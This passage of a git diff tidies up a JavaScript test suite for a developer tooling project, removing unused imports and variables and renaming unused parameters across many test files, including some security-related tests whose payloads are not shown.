fs.writeFileSync( - path.join(tmpDir, '.planning', 'config.json'), - JSON.stringify({ ...base, ...overrides }, null, 2) - ); -} /** * Generate a 50-phase project structure for stress testing. diff --git a/tests/copilot-install.test.cjs b/tests/copilot-install.test.cjs index b97271832..86aff0d9a 100644 --- a/tests/copilot-install.test.cjs +++ b/tests/copilot-install.test.cjs @@ -891,8 +891,6 @@ describe('Copilot content conversion - engine files', () => { // ─── Copilot instructions merge/strip ────────────────────────────────────────── describe('Copilot instructions merge/strip', () => { - let tmpDir; - const gsdContent = '- Follow project conventions\n- Use structured workflows'; function makeGsdBlock(content) { @@ -1127,7 +1125,7 @@ describe('Copilot manifest and patches fixes', () => { fs.mkdirSync(skillDir, { recursive: true }); fs.writeFileSync(path.join(skillDir, 'SKILL.md'), '# Test Skill\n\nA test skill.'); - const manifest = writeManifest(tmpDir, 'copilot'); + writeManifest(tmpDir, 'copilot'); // Check manifest file was written const manifestPath = path.join(tmpDir, 'gsd-file-manifest.json'); diff --git a/tests/core.test.cjs b/tests/core.test.cjs index 9b51147bf..750625ddd 100644 --- a/tests/core.test.cjs +++ b/tests/core.test.cjs @@ -22,9 +22,7 @@ const { resolveModelInternal, escapeRegex, generateSlugInternal, - normalizePhaseName, reapStaleTempFiles, - comparePhaseNum, pathExistsInternal, getMilestoneInfo, getMilestonePhaseFilter, diff --git a/tests/cursor-reviewer.test.cjs b/tests/cursor-reviewer.test.cjs index e185cd528..a62c073f2 100644 --- a/tests/cursor-reviewer.test.cjs +++ b/tests/cursor-reviewer.test.cjs @@ -29,11 +29,11 @@ describe('Cursor CLI reviewer in /gsd-review (#1960)', () => { describe('review.md workflow', () => { const reviewPath = path.join(ROOT, 'gsd-core', 'workflows', 'review.md'); - let content; + let _content; test('review.md exists', () => { assert.ok(fs.existsSync(reviewPath), 'review.md should exist'); - content = fs.readFileSync(reviewPath, 'utf-8'); + _content = fs.readFileSync(reviewPath, 'utf-8'); }); test('contains cursor CLI detection via command -v cursor-agent', () => { @@ -220,7 +220,6 @@ describe('Cursor CLI reviewer in /gsd-review (#1960)', () => { }); test('mentions Cursor in the review section', () => { - const c = fs.readFileSync(jaPath, 'utf-8'); assert.ok( /Cursor/i.test(fs.readFileSync(jaPath, 'utf-8')), 'docs/ja-JP/FEATURES.md should mention Cursor in the review section' @@ -254,7 +253,6 @@ describe('Cursor CLI reviewer in /gsd-review (#1960)', () => { }); test('mentions Cursor in the review section', () => { - const c = fs.readFileSync(koPath, 'utf-8'); assert.ok( /Cursor/i.test(fs.readFileSync(koPath, 'utf-8')), 'docs/ko-KR/FEATURES.md should mention Cursor in the review section' diff --git a/tests/dispatch/trace-correlation.test.cjs b/tests/dispatch/trace-correlation.test.cjs index 4f4d224b0..6c8a8ee1c 100644 --- a/tests/dispatch/trace-correlation.test.cjs +++ b/tests/dispatch/trace-correlation.test.cjs @@ -181,7 +181,7 @@ describe('trace correlation — end-to-end parentTraceId propagation', () => { const allEvents = readJsonl(isolatedAuditPath); assert.equal(allEvents.length, 3, 'must have 3 events total (root + valid child + invalid child)'); - const [root, validChild, invalidChild] = allEvents; + const [, validChild, invalidChild] = allEvents; // Valid child carries the correct parentTraceId assert.strictEqual(validChild.parentTraceId, rootTraceId, diff --git a/tests/docs-parity-live-registry.test.cjs b/tests/docs-parity-live-registry.test.cjs index fc241a2bb..c45ba5a35 100644 --- a/tests/docs-parity-live-registry.test.cjs +++ b/tests/docs-parity-live-registry.test.cjs @@ -309,10 +309,6 @@ describe('getLiveCommandTokens() — helper contract', () => { test('contains exactly 3 tokens per slug (slash, colon, dollar)', () => { const result = getLiveCommandTokens(); // Every /gsd-slug should have a matching /gsd:slug and $gsd-slug - let tokenCount = 0; - for (const token of result) { - if (token.startsWith('/gsd-')) tokenCount++; - } const slashTokens = [...result].filter(t => t.startsWith('/gsd-')); for (const slash of slashTokens) { const slug = slash.slice('/gsd-'.length); diff --git a/tests/enh-2430-learnings-consumption.test.cjs b/tests/enh-2430-learnings-consumption.test.cjs index 92902e1aa..d1a70501f 100644 --- a/tests/enh-2430-learnings-consumption.test.cjs +++ b/tests/enh-2430-learnings-consumption.test.cjs @@ -35,7 +35,7 @@ describe('enh-2430 Part A — plan-phase LEARNINGS.md context load', () => { test('plan-phase.md LEARNINGS load is inside the 1M context-window gate', () => { content = content || readWorkflow('plan-phase.md'); - const windowBlock = content.match(/\$\{CONTEXT_WINDOW >= 500000[\s\S]*?\` : ''\}/); + const windowBlock = content.match(/\$\{CONTEXT_WINDOW >= 500000[\s\S]*?` : ''\}/); assert.ok(windowBlock, 'CONTEXT_WINDOW gate block must exist'); assert.ok( windowBlock[0].includes('LEARNINGS.md'), @@ -62,7 +62,7 @@ describe('enh-2430 Part A — plan-phase LEARNINGS.md context load', () => { test('plan-phase.md LEARNINGS load includes Depends-on chain', () => { content = content || readWorkflow('plan-phase.md'); - const dependsSection = content.match(/Depends on.*?(\n.*?)+/); + content.match(/Depends on.*?(\n.*?)+/); assert.ok( content.includes('LEARNINGS.md from any phases listed in'), 'plan-phase.md must load LEARNINGS.md for Depends on chain phases' diff --git a/tests/enh-2447-roadmap-wave-deps.test.cjs b/tests/enh-2447-roadmap-wave-deps.test.cjs index cd2163e45..7aec5ddd5 100644 --- a/tests/enh-2447-roadmap-wave-deps.test.cjs +++ b/tests/enh-2447-roadmap-wave-deps.test.cjs @@ -8,7 +8,7 @@ * Tests for ROADMAP wave dependency surfacing (#2447). */ -const { test, describe, beforeEach, afterEach } = require('node:test'); +const { test, describe, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); diff --git a/tests/feat-3024-dynamic-routing.test.cjs b/tests/feat-3024-dynamic-routing.test.cjs index 947a97754..86ce52fc1 100644 --- a/tests/feat-3024-dynamic-routing.test.cjs +++ b/tests/feat-3024-dynamic-routing.test.cjs @@ -46,8 +46,6 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const os = require('node:os'); - const { resolveModelInternal, resolveModelForTier, diff --git a/tests/feat-3593-cli-negative-config.test.cjs b/tests/feat-3593-cli-negative-config.test.cjs index 1d80694c7..46c612006 100644 --- a/tests/feat-3593-cli-negative-config.test.cjs +++ b/tests/feat-3593-cli-negative-config.test.cjs @@ -285,7 +285,7 @@ for (const payload of SHELL_PAYLOADS) { // ─── Cross-cutting: --cwd points at a non-existent path ──────────────────── -test('--cwd pointing at a non-existent path fails with a typed usage reason', (t) => { +test('--cwd pointing at a non-existent path fails with a typed usage reason', (_t) => { const nonExistent = path.join(require('os').tmpdir(), 'cli-neg-no-such-dir-' + Date.now() + '-' + Math.random()); assert.equal(fs.existsSync(nonExistent), false, 'pre-check: path must not exist'); const result = runCli(['--cwd', nonExistent, 'config-get', 'model_profile'], { cwd: process.cwd() }); diff --git a/tests/feat-3595-fs-fault-injection-atomic-write.test.cjs b/tests/feat-3595-fs-fault-injection-atomic-write.test.cjs index a155d2759..6e4e20b69 100644 --- a/tests/feat-3595-fs-fault-injection-atomic-write.test.cjs +++ b/tests/feat-3595-fs-fault-injection-atomic-write.test.cjs @@ -37,8 +37,6 @@ const { test, mock } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const os = require('node:os'); - const { platformWriteSync, platformEnsureDir, @@ -83,7 +81,7 @@ test('platformWriteSync recovers when renameSync fails (EXDEV cross-device fallb // Simulate rename failing once (e.g. cross-device move on a CI runner // with overlayfs). The fallback path must write the content directly. let renameCalls = 0; - const renameMock = mock.method(fs, 'renameSync', (src, dest) => { + const renameMock = mock.method(fs, 'renameSync', (_src, _dest) => { renameCalls++; const err = new Error('EXDEV: cross-device link not permitted'); err.code = 'EXDEV'; diff --git a/tests/feat-443-effort-fast-mode.test.cjs b/tests/feat-443-effort-fast-mode.test.cjs index 2041466e3..d9f56a83f 100644 --- a/tests/feat-443-effort-fast-mode.test.cjs +++ b/tests/feat-443-effort-fast-mode.test.cjs @@ -19,7 +19,7 @@ const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const { createTempProject, createTempDir, cleanup, runGsdTools } = require('./helpers.cjs'); +const { createTempProject, cleanup, runGsdTools } = require('./helpers.cjs'); const { resolveEffortInternal, diff --git a/tests/feat-49-model-policy-presets.test.cjs b/tests/feat-49-model-policy-presets.test.cjs index 9e0583383..e034ee83a 100644 --- a/tests/feat-49-model-policy-presets.test.cjs +++ b/tests/feat-49-model-policy-presets.test.cjs @@ -55,7 +55,6 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const os = require('node:os'); // ─── Imports (will fail until implementation exists) ──────────────────────── // resolveModelPolicy is a new internal function that must be exported from core.cjs. diff --git a/tests/frontmatter.test.cjs b/tests/frontmatter.test.cjs index 20347d123..6acb7cae0 100644 --- a/tests/frontmatter.test.cjs +++ b/tests/frontmatter.test.cjs @@ -16,7 +16,6 @@ const { reconstructFrontmatter, spliceFrontmatter, parseMustHavesBlock, - FRONTMATTER_SCHEMAS, } = require('../gsd-core/bin/lib/frontmatter.cjs'); // ─── extractFrontmatter ───────────────────────────────────────────────────── diff --git a/tests/graphify-visualization.test.cjs b/tests/graphify-visualization.test.cjs index ee0a7aad4..b4b3dfc6a 100644 --- a/tests/graphify-visualization.test.cjs +++ b/tests/graphify-visualization.test.cjs @@ -214,7 +214,7 @@ describe('mvp-viz', () => { function parseSkillFrontmatter(text) { const lines = text.split(/\r?\n/); const out = {}; - let activeKey = null; + let _activeKey = null; let activeList = null; for (const raw of lines) { const listItem = raw.match(/^\s+-\s+(.+?)\s*$/); @@ -227,11 +227,11 @@ describe('mvp-viz', () => { const [, key, rawValue] = kv; const value = rawValue.trim(); if (value === '') { - activeKey = key; + _activeKey = key; activeList = []; out[key] = activeList; } else { - activeKey = null; + _activeKey = null; activeList = null; out[key] = value; } @@ -365,7 +365,7 @@ describe('regressions', () => { function parseBug3166SkillFrontmatter(text) { const lines = text.split(/\r?\n/); const out = {}; - let activeKey = null; + let _activeKey = null; let activeList = null; for (const raw of lines) { const listItem = raw.match(/^\s+-\s+(.+?)\s*$/); @@ -378,11 +378,11 @@ describe('regressions', () => { const [, key, rawValue] = kv; const value = rawValue.trim(); if (value === '') { - activeKey = key; + _activeKey = key; activeList = []; out[key] = activeList; } else { - activeKey = null; + _activeKey = null; activeList = null; out[key] = value; } diff --git a/tests/gsd2-import.test.cjs b/tests/gsd2-import.test.cjs index 0699ad97b..16a26a34d 100644 --- a/tests/gsd2-import.test.cjs +++ b/tests/gsd2-import.test.cjs @@ -4,14 +4,13 @@ // Reads .md/.json/.yml product files whose deployed text IS what the // runtime loads — testing text content tests the deployed contract. -const { describe, it, test, beforeEach, afterEach } = require('node:test'); +const { describe, test, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); const { createTempDir, cleanup, runGsdTools } = require('./helpers.cjs'); const { - findGsd2Root, parseSlicesFromRoadmap, parseMilestoneTitle, parseTaskTitle, diff --git a/tests/hardcoded-paths.test.cjs b/tests/hardcoded-paths.test.cjs index b9277299f..ed7b84533 100644 --- a/tests/hardcoded-paths.test.cjs +++ b/tests/hardcoded-paths.test.cjs @@ -55,7 +55,7 @@ const sourceFiles = sourceDirs.flatMap(collectSourceFiles); * Scan files for a pattern, skipping comment lines. * Returns an array of human-readable failure strings. */ -function scanFiles(files, pattern, description) { +function scanFiles(files, pattern, _description) { const failures = []; for (const file of files) { const content = fs.readFileSync(file, 'utf8'); diff --git a/tests/health-validation.test.cjs b/tests/health-validation.test.cjs index e59eb5dbc..b542bcdeb 100644 --- a/tests/health-validation.test.cjs +++ b/tests/health-validation.test.cjs @@ -354,7 +354,6 @@ describe('stateReplaceFieldWithFallback field-miss warning', () => { } roadmapContent += '\n'; for (let i = 1; i <= 50; i++) { - const pad = String(i).padStart(2, '0'); roadmapContent += `### Phase ${i}: Feature ${i}\n\n**Goal:** Build feature ${i}\n**Plans:** 1 plans\n\n`; } fs.writeFileSync(path.join(tmpDir, '.planning', 'ROADMAP.md'), roadmapContent); diff --git a/tests/helpers-cleanup.test.cjs b/tests/helpers-cleanup.test.cjs index 16b6e517e..b876c5e9a 100644 --- a/tests/helpers-cleanup.test.cjs +++ b/tests/helpers-cleanup.test.cjs @@ -9,7 +9,6 @@ const { test } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const os = require('os'); const { cleanup, createTempDir } = require('./helpers.cjs'); diff --git a/tests/install-minimal-hooks.test.cjs b/tests/install-minimal-hooks.test.cjs index 3d2e4b6ce..4a6d1fa1c 100644 --- a/tests/install-minimal-hooks.test.cjs +++ b/tests/install-minimal-hooks.test.cjs @@ -44,8 +44,6 @@ const { shouldInstallSkill, stageSkillsForMode, cleanupStagedSkills, - loadSkillsManifest, - resolveProfile, } = require('../gsd-core/bin/lib/install-profiles.cjs'); const { diff --git a/tests/install-path-detection.test.cjs b/tests/install-path-detection.test.cjs index 1d033bb2b..d6dbe731a 100644 --- a/tests/install-path-detection.test.cjs +++ b/tests/install-path-detection.test.cjs @@ -10,7 +10,7 @@ 'use strict'; -const { test, describe, before, after } = require('node:test'); +const { test, describe, before } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const os = require('os'); diff --git a/tests/install.test.cjs b/tests/install.test.cjs index 352a29e9f..3ac6e72c8 100644 --- a/tests/install.test.cjs +++ b/tests/install.test.cjs @@ -48,7 +48,6 @@ const { const { RUNTIME_META, - SKILL_RUNTIMES, stripAnsi, walk, } = require('./helpers/install-shared.cjs'); diff --git a/tests/installer-migration-install-integration.test.cjs b/tests/installer-migration-install-integration.test.cjs index 6d431d924..2f4f79dc4 100644 --- a/tests/installer-migration-install-integration.test.cjs +++ b/tests/installer-migration-install-integration.test.cjs @@ -174,14 +174,6 @@ function assertHasGsdDirectory(root, relPath) { ); } -function assertNoGsdDirectoryEntries(root, relPath) { - assert.equal( - listDirNames(root, relPath).some((name) => name.startsWith('gsd-')), - false, - `${relPath} should not contain generated GSD entries` - ); -} - function assertFreshInstallContract(runtime, targetDir) { const contract = RUNTIME_INSTALL_CONTRACTS[runtime]; assert.ok(contract, `missing runtime install contract for ${runtime}`); diff --git a/tests/installer-migration-rename-gsd-core.test.cjs b/tests/installer-migration-rename-gsd-core.test.cjs index 3bfa06369..d2e2b53d6 100644 --- a/tests/installer-migration-rename-gsd-core.test.cjs +++ b/tests/installer-migration-rename-gsd-core.test.cjs @@ -13,7 +13,7 @@ * 5. unknown user file under legacy dir -> baseline-preserve-user (NOT removed) */ -const { describe, test, before } = require('node:test'); +const { describe, test } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const os = require('node:os'); diff --git a/tests/intel.test.cjs b/tests/intel.test.cjs index 9dfe78ef9..1a388dd13 100644 --- a/tests/intel.test.cjs +++ b/tests/intel.test.cjs @@ -25,7 +25,6 @@ const { intelApiSurface, ensureIntelDir, isIntelEnabled, - INTEL_FILES, } = require('../gsd-core/bin/lib/intel.cjs'); // ─── Helpers ──────────────────────────────────────────────────────────────── @@ -49,7 +48,7 @@ function writeIntelJson(planningDir, filename, data) { ); } -function writeIntelMd(planningDir, filename, content) { +function _writeIntelMd(planningDir, filename, content) { const intelPath = path.join(planningDir, 'intel'); fs.mkdirSync(intelPath, { recursive: true }); fs.writeFileSync(path.join(intelPath, filename), content, 'utf8'); diff --git a/tests/lint-test-file-count.test.cjs b/tests/lint-test-file-count.test.cjs index c16bcc8e5..c34b12bad 100644 --- a/tests/lint-test-file-count.test.cjs +++ b/tests/lint-test-file-count.test.cjs @@ -9,8 +9,6 @@ const { describe, test } = require('node:test'); const assert = require('node:assert/strict'); -const fs = require('fs'); -const os = require('os'); const path = require('path'); const { spawnSync } = require('child_process'); diff --git a/tests/locking-bugs-1909-1916-1925-1927.test.cjs b/tests/locking-bugs-1909-1916-1925-1927.test.cjs index 8d99a39cb..caf8f2418 100644 --- a/tests/locking-bugs-1909-1916-1925-1927.test.cjs +++ b/tests/locking-bugs-1909-1916-1925-1927.test.cjs @@ -19,15 +19,10 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const os = require('os'); -const { execFileSync, execSync, spawn } = require('child_process'); -const { promisify } = require('util'); -const { exec } = require('child_process'); +const { spawn } = require('child_process'); const { runGsdTools, createTempProject, cleanup, TOOLS_PATH } = require('./helpers.cjs'); -const execAsync = promisify(exec); - // ───────────────────────────────────────────────────────────────────────────── // Helpers // ───────────────────────────────────────────────────────────────────────────── diff --git a/tests/milestone-summary.test.cjs b/tests/milestone-summary.test.cjs index 672e31c26..07a0e1171 100644 --- a/tests/milestone-summary.test.cjs +++ b/tests/milestone-summary.test.cjs @@ -163,9 +163,6 @@ describe('milestone-summary command structure', () => { }); describe('milestone-summary artifact path resolution', () => { - const { createTempProject, cleanup } = require('./helpers.cjs'); - let tmpDir; - test('archived milestone paths point to milestones/ directory', () => { const content = fs.readFileSync(workflowPath, 'utf-8'); // Archived roadmap path should be under milestones/ @@ -326,7 +323,7 @@ describe('milestone-summary git stats resilience', () => { // ───────────────────────────────────────────────────────────────────────────── describe('audit.cjs module (#2158)', () => { - const { createTempProject: createTP, cleanup: cleanTP, runGsdTools: run } = require('./helpers.cjs'); + const { createTempProject: createTP, cleanup: cleanTP } = require('./helpers.cjs'); let tmpDir; beforeEach(() => { tmpDir = createTP('audit-test'); }); diff --git a/tests/next-up-clear-order.test.cjs b/tests/next-up-clear-order.test.cjs index 83932eadd..405c41c38 100644 --- a/tests/next-up-clear-order.test.cjs +++ b/tests/next-up-clear-order.test.cjs @@ -17,7 +17,6 @@ const { test, describe } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const glob = require('path'); const GSD_ROOT = path.join(__dirname, '..', 'gsd-core'); const UI_BRAND = path.join(GSD_ROOT, 'references', 'ui-brand.md'); diff --git a/tests/observability/event.test.cjs b/tests/observability/event.test.cjs index c07932f75..9572116d3 100644 --- a/tests/observability/event.test.cjs +++ b/tests/observability/event.test.cjs @@ -7,7 +7,7 @@ * observable behaviour (return values). No mocks, no vacuous truths. */ -const { describe, test, beforeEach, afterEach } = require('node:test'); +const { describe, test } = require('node:test'); const assert = require('node:assert/strict'); const { diff --git a/tests/observability/hub-logger-integration.test.cjs b/tests/observability/hub-logger-integration.test.cjs index 6bc2d1536..8e6b0d995 100644 --- a/tests/observability/hub-logger-integration.test.cjs +++ b/tests/observability/hub-logger-integration.test.cjs @@ -22,12 +22,10 @@ const os = require('os'); const { createHub, - ERROR_KINDS, } = require('../../gsd-core/bin/lib/command-routing-hub.cjs'); const { createDefaultLogger, - createNoOpLogger, } = require('../../gsd-core/bin/lib/observability/logger.cjs'); const { cleanup } = require('../helpers.cjs'); diff --git a/tests/package-legitimacy-gate.test.cjs b/tests/package-legitimacy-gate.test.cjs index 53bfc18ca..186d1d609 100644 --- a/tests/package-legitimacy-gate.test.cjs +++ b/tests/package-legitimacy-gate.test.cjs @@ -105,7 +105,7 @@ function normalizeTokens(text) { return text .toLowerCase() .replace(/https?:\/\//g, ' ') - .replace(/[\[\]]/g, '') + .replace(/[[\]]/g, '') .replace(/[^a-z0-9{}:_-]+/g, ' ') .trim() .split(/\s+/) diff --git a/tests/package-name-single-source.test.cjs b/tests/package-name-single-source.test.cjs index 4a50948a6..8d3f5ba21 100644 --- a/tests/package-name-single-source.test.cjs +++ b/tests/package-name-single-source.test.cjs @@ -21,7 +21,6 @@ const { test } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const { execSync } = require('node:child_process'); const ROOT = path.join(__dirname, '..'); const LITERAL = '@opengsd/gsd-core'; diff --git a/tests/phase-command-router.test.cjs b/tests/phase-command-router.test.cjs index 8896fe913..ff320d896 100644 --- a/tests/phase-command-router.test.cjs +++ b/tests/phase-command-router.test.cjs @@ -104,7 +104,7 @@ describe('phase-command-router — CLI arg translation (CJS path)', () => { test('routes phase add-batch: --descriptions JSON array parses correctly', () => { const calls = []; const phase = makePhase({ - cmdPhaseAddBatch: (cwd, descriptions, raw) => calls.push({ descriptions }), + cmdPhaseAddBatch: (cwd, descriptions, _raw) => calls.push({ descriptions }), }); routePhaseCommand({ @@ -121,7 +121,7 @@ describe('phase-command-router — CLI arg translation (CJS path)', () => { test('routes phase add-batch: positional args used when --descriptions absent', () => { const calls = []; const phase = makePhase({ - cmdPhaseAddBatch: (cwd, descriptions, raw) => calls.push({ descriptions }), + cmdPhaseAddBatch: (cwd, descriptions, _raw) => calls.push({ descriptions }), }); routePhaseCommand({ @@ -162,7 +162,7 @@ describe('phase-command-router — CLI arg translation (CJS path)', () => { test('routes phase remove: --force flag sets opts.force:true', () => { const calls = []; const phase = makePhase({ - cmdPhaseRemove: (cwd, phaseNum, opts, raw) => calls.push({ opts }), + cmdPhaseRemove: (cwd, phaseNum, opts, _raw) => calls.push({ opts }), }); routePhaseCommand({ phase, args: ['phase', 'remove', '--force', '03'], cwd: '/p', raw: false, error: (m) => { throw new Error(m); } }); @@ -402,7 +402,7 @@ describe('phase-command-router — integration: real hub + CJS phase handler', ( test('dispatches phase add-batch through real hub with --descriptions', () => { const calls = []; const phase = makePhase({ - cmdPhaseAddBatch: (cwd, descriptions, raw) => calls.push({ descriptions }), + cmdPhaseAddBatch: (cwd, descriptions, _raw) => calls.push({ descriptions }), }); let errorMsg = null; diff --git a/tests/phase.test.cjs b/tests/phase.test.cjs index c1c01ccea..08f0e0a7b 100644 --- a/tests/phase.test.cjs +++ b/tests/phase.test.cjs @@ -20,7 +20,7 @@ const fs = require('fs'); const path = require('path'); const os = require('node:os'); const { execFileSync } = require('node:child_process'); -const { runGsdTools, createTempProject, createTempDir, cleanup } = require('./helpers.cjs'); +const { runGsdTools, createTempProject, cleanup } = require('./helpers.cjs'); const GSD_TOOLS_BIN = path.resolve(__dirname, '..', 'gsd-core', 'bin', 'gsd-tools.cjs'); diff --git a/tests/plan-review-convergence.test.cjs b/tests/plan-review-convergence.test.cjs index de6effa4d..cbf880f3b 100644 --- a/tests/plan-review-convergence.test.cjs +++ b/tests/plan-review-convergence.test.cjs @@ -29,7 +29,6 @@ const path = require('path'); const COMMAND_PATH = path.join(__dirname, '..', 'commands', 'gsd', 'plan-review-convergence.md'); const WORKFLOW_PATH = path.join(__dirname, '..', 'gsd-core', 'workflows', 'plan-review-convergence.md'); -const SCHEMA_PATH = path.join(__dirname, '..', 'gsd-core', 'bin', 'lib', 'config-schema.cjs'); const CONFIG_DOC_PATH = path.join(__dirname, '..', 'docs', 'CONFIGURATION.md'); // ─── Command source ──────────────────────────────────────────────────────── diff --git a/tests/policy-shell-pinning.test.cjs b/tests/policy-shell-pinning.test.cjs index 38b171df3..82cea9f67 100644 --- a/tests/policy-shell-pinning.test.cjs +++ b/tests/policy-shell-pinning.test.cjs @@ -5,7 +5,6 @@ const assert = require('node:assert/strict'); const path = require('path'); const { - POLICY, VIOLATION, inspectWorkflow, runPolicyLint, diff --git a/tests/profile-output.test.cjs b/tests/profile-output.test.cjs index de326fb04..ec3c15b27 100644 --- a/tests/profile-output.test.cjs +++ b/tests/profile-output.test.cjs @@ -156,7 +156,7 @@ describe('generate-claude-md command', () => { const outputPath = path.join(tmpDir, 'CLAUDE.md'); fs.writeFileSync(outputPath, '# Custom CLAUDE.md\n\nUser content.\n'); - const result = runGsdTools(['generate-claude-md', '--output', outputPath, '--auto', '--raw'], tmpDir); + runGsdTools(['generate-claude-md', '--output', outputPath, '--auto', '--raw'], tmpDir); // Should merge, not overwrite const content = fs.readFileSync(outputPath, 'utf-8'); assert.ok(content.length > 0, 'should still have content'); diff --git a/tests/profile-pipeline.test.cjs b/tests/profile-pipeline.test.cjs index 70cd50f7d..1b576fc95 100644 --- a/tests/profile-pipeline.test.cjs +++ b/tests/profile-pipeline.test.cjs @@ -9,7 +9,6 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const os = require('os'); const { runGsdTools, createTempDir, createTempProject, cleanup } = require('./helpers.cjs'); // ─── scan-sessions ──────────────────────────────────────────────────────────── diff --git a/tests/prompt-budget.test.cjs b/tests/prompt-budget.test.cjs index 2a8ae039d..6e2a44ae5 100644 --- a/tests/prompt-budget.test.cjs +++ b/tests/prompt-budget.test.cjs @@ -84,7 +84,7 @@ describe('prompt-budget', () => { requirements: null, }; - const { prompt, metadata } = applyBudget({ sections, budget: 200 }); + const { metadata } = applyBudget({ sections, budget: 200 }); // context drops first per spec (priority 6), research second (priority 7) assert.deepEqual(metadata.omitted, ['context', 'research']); @@ -183,7 +183,7 @@ describe('prompt-budget', () => { requirements: bigContent, }; - const { prompt, metadata } = applyBudget({ sections, budget: 200 }); + const { metadata } = applyBudget({ sections, budget: 200 }); assert.deepEqual(metadata.omitted, ['context', 'research', 'requirements']); assert.equal(metadata.noteInjected, true); @@ -237,7 +237,7 @@ describe('prompt-budget', () => { requirements: null, }; - const { prompt, metadata } = applyBudget({ sections, budget: 145 }); + const { metadata } = applyBudget({ sections, budget: 145 }); // Research must be dropped (it caused the pressure) assert.ok(metadata.omitted.includes('research'), 'research must be omitted'); diff --git a/tests/prompt-injection-scan.test.cjs b/tests/prompt-injection-scan.test.cjs index f6f795de0..4027bbb04 100644 --- a/tests/prompt-injection-scan.test.cjs +++ b/tests/prompt-injection-scan.test.cjs @@ -29,7 +29,7 @@ const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const { scanForInjection, INJECTION_PATTERNS } = require('../gsd-core/bin/lib/security.cjs'); +const { scanForInjection } = require('../gsd-core/bin/lib/security.cjs'); // ─── Configuration ────────────────────────────────────────────────────────── diff --git a/tests/reapply-patches.test.cjs b/tests/reapply-patches.test.cjs index 6404175f0..db7832e3f 100644 --- a/tests/reapply-patches.test.cjs +++ b/tests/reapply-patches.test.cjs @@ -7,7 +7,7 @@ * Closes: #1469 */ -const { test, describe, before, beforeEach, afterEach } = require('node:test'); +const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); @@ -381,7 +381,7 @@ describe('reapply-patches gated hunk verification (#1999)', () => { // assert it both names the table and defines an explicit gate // condition tied to the `verified` column. const content = fs.readFileSync(workflowPath, 'utf8'); - const step5Match = content.match(/^##\s+Step 5[^\n]*\n([\s\S]*?)(?=^##\s|\Z)/m); + const step5Match = content.match(/^##\s+Step 5[^\n]*\n([\s\S]*?)(?=^##\s|Z)/m); assert.ok(step5Match, 'reapply-patches workflow must contain a "## Step 5" section'); const step5 = step5Match[1]; assert.ok( @@ -405,7 +405,7 @@ describe('reapply-patches gated hunk verification (#1999)', () => { test('Step 5 also halts when the Hunk Verification Table is absent (Step 4 produced nothing)', () => { // Independent gate: missing-table is a separate halt path from any-no-row. const content = fs.readFileSync(workflowPath, 'utf8'); - const step5Match = content.match(/^##\s+Step 5[^\n]*\n([\s\S]*?)(?=^##\s|\Z)/m); + const step5Match = content.match(/^##\s+Step 5[^\n]*\n([\s\S]*?)(?=^##\s|Z)/m); assert.ok(step5Match, 'Step 5 section must exist'); const step5 = step5Match[1]; const handlesAbsent = /(table is absent|table is missing|missing.*table|absent.*table)/i.test(step5); diff --git a/tests/schema-drift.test.cjs b/tests/schema-drift.test.cjs index 9905134b9..a17ea9217 100644 --- a/tests/schema-drift.test.cjs +++ b/tests/schema-drift.test.cjs @@ -9,7 +9,7 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const { createTempProject, createTempGitProject, cleanup, runGsdTools } = require('./helpers.cjs'); +const { createTempGitProject, cleanup, runGsdTools } = require('./helpers.cjs'); // ─── Unit: detectSchemaFiles ───────────────────────────────────────────────── diff --git a/tests/secret-scan-lint.test.cjs b/tests/secret-scan-lint.test.cjs index 748c84bfe..8dd6a4ff6 100644 --- a/tests/secret-scan-lint.test.cjs +++ b/tests/secret-scan-lint.test.cjs @@ -32,7 +32,7 @@ // protocol. Migrating to a parsed IR would add ceremony without changing // what is verified — the strings ARE the typed surface. -const { describe, test, before, after } = require('node:test'); +const { describe, test } = require('node:test'); const assert = require('node:assert/strict'); const { execFileSync, spawnSync } = require('child_process'); const fs = require('fs'); @@ -99,25 +99,6 @@ function runSecretScan(fileContent, extraArgs = []) { } } -/** - * Run secret-scan.sh --dir

[extraArgs] and count effective exclusions - * by checking how many files in a known fixture set are skipped vs scanned. - * Uses spawnSync with a generous timeout for large directories. - */ -function runSecretScanDir(dirPath, extraArgs = []) { - const args = ['--dir', dirPath, ...extraArgs]; - const result = spawnSync(SECRET_SCAN, args, { - encoding: 'utf-8', - timeout: 60000, - cwd: PROJECT_ROOT, - }); - return { - status: result.status !== null ? result.status : 1, - stdout: result.stdout || '', - stderr: result.stderr || '', - }; -} - // ─── Script Existence ───────────────────────────────────────────────────────── describe('secret-scan-lint.sh script exists and is executable', { skip: IS_WINDOWS }, () => { diff --git a/tests/security-prompt-injection.test.cjs b/tests/security-prompt-injection.test.cjs index d009f10b5..d96feba81 100644 --- a/tests/security-prompt-injection.test.cjs +++ b/tests/security-prompt-injection.test.cjs @@ -213,7 +213,7 @@ describe('workstream-name-policy: hostile names are slugified or rejected', () = // of toWorkstreamSlug is a name the rest of the system already trusts. assert.match(slug, /^[a-z0-9][a-z0-9._-]*$|^$/, `slug shape for ${c.label}: ${JSON.stringify(slug)}`); // And it never contains shell metacharacters or path separators. - assert.doesNotMatch(slug, 